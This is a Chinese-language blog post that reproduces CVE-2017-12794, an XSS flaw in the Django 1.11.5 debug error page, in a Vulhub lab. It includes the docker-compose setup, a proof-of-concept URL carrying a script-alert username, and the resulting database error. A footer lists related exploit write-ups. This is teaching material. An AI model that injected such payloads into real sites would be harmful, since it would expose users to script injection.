首页 > 其他分享 >Django_debug page_XSS漏洞(CVE-2017-12794)漏洞复现

Django_debug page_XSS漏洞(CVE-2017-12794)漏洞复现

时间:2023-09-11 20:13:24浏览次数:44  
标签:XSS Django 漏洞 2017 CVE 12794

目录

说明 内容
漏洞编号 CVE-2017-12794
漏洞名称 Django_debug page_XSS漏洞
漏洞评级
影响范围 1.11.5版本
漏洞描述
修复方案

1.1、漏洞描述

1.11.5版本,修复了500页面中存在的一个XSS漏洞

1.2、漏洞等级

1.3、影响版本

Django 1.11.5版本

1.4、漏洞复现

1、基础环境

Path:Vulhub/django/CVE-2017-12794


启动测试环境:

sudo docker-compose up -d

访问http://your-ip:8000/即可看到

image-20230911190030691

2、漏洞分析

vulhub

3、漏洞验证

http://192.168.8.8:8000/create_user/?username=%3Cscript%3Ealert(1)%3C/script%3E

用户已经被 创建

image-20230911190417164

再次刷新页面触发XSS

image-20230911190451181

抛出异常

image-20230911190504903

duplicate key value violates unique constraint "xss_user_username_key"
DETAIL:  Key (username)=(<script>alert(1)</script>) already exists.

标签:XSS,Django,漏洞,2017,CVE,12794
From: https://www.cnblogs.com/saury/p/17694375.html

相关文章

  • Python PIL 远程命令执行漏洞(GhostButt )
    目录1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞扫描3、漏洞验证1.5、深度利用1、反弹Shell说明内容漏洞编号PIL-CVE-2017-8291漏洞名称PIL远程命令执行漏洞漏洞评级影响范围漏洞描述修复方案1.1、漏洞描述PIL......
  • 永恒之蓝漏洞复现
    MetasploitFramework(简称MSF)是一款强大的开源渗透测试工具,具有多种功能和用途。它的主要作用包括:渗透测试:MetasploitFramework允许安全专业人员模拟黑客攻击,以发现和利用系统和应用程序中的漏洞。这有助于组织识别并修复潜在的安全问题,提高系统的安全性。漏洞利用:Metasploit包......
  • 华为云发布CodeArts Inspector漏洞管理服务,守护产品研发安全
    本文分享自华为云社区《华为云发布CodeArtsInspector漏洞管理服务,守护产品研发安全》,作者:华为云头条。2023年9月7日,华为云正式发布CodeArtsInspector漏洞管理服务。这是一款面向软件研发和服务运维提供的一站式漏洞管理能力,通过持续评估系统和应用等资产,内置风险量化管理和在......
  • Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞
    JNDI注入什么是JNDIJNDI全称为JavaNamingandDirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。简单从安全......
  • Django 测试是否安装成功
    在我们安装好django后,我们不要急于去开发,我们首先要清楚我们的django是否安装成功。在这里要注意:有些童鞋反应安装不成功,大多数原因是:权限问题,当前用户的权限不够。django安装过程中会在/usr/local/lib/中写入文件,所以安装前要确认当前用户有对lib目录的操作权限。这样才能确保成功......
  • django之models
    #字段选项null如果是True,Django将在数据库中存储空值为NULL。默认为False。blank如果是True,该字段允许为空。默认为False。choicesfromdjango.dbimportmodelsclassStudent(models.Model):FRESHMAN='FR'SOPHOMORE='SO'JUNIOR='JR'......
  • Django管理后台访问和登录页面访问数据不一致的问题
    Django管理后台访问和登录页面访问数据不一致的问题问题现象我再创建商品购物车功能后,发现这个功能页面需要放在管理后台。在测试功能时是直接配置路由访问http://localhost:8088/view_cart/是可以正常加载购物车的相关功能的,然后将购物车功能加到管理后台,添加之后发现没有查到......
  • 使用Python和Django构建Web应用程序
    Django简介Django是一个强大的PythonWeb框架,用于构建高效且可维护的Web应用程序。它提供了许多工具和库,用于处理常见的Web开发任务,如数据库管理、用户认证和URL路由。以下是一些Django的关键特点:ORM(对象关系映射):Django的ORM允许你使用Python代码来定义和查询数据库模型,而无需编写S......
  • 使用Django构建RESTful API
    Django简介Django是一个强大的PythonWeb框架,广泛用于构建高效且可维护的Web应用程序和RESTfulAPI。它提供了许多工具和库,用于处理常见的Web开发任务,如数据库管理、用户认证和URL路由。以下是一些关键Django特点:内置ORM(对象关系映射):Django的ORM允许你使用Python代码来定义和查询数......
  • 【高级】Django实现读写分离
    【1】第一步:配置文件配置多个数据库在Django的配置文件中的DATABASES参数中,添加多个数据库的配置信息。每个数据库都需要指定ENGINE(数据库引擎)和NAME(数据库名称),可以根据实际情况选择合适的数据库引擎和数据库名称。例如,在配置文件中添加两个数据库配置的示例:DATABASES={......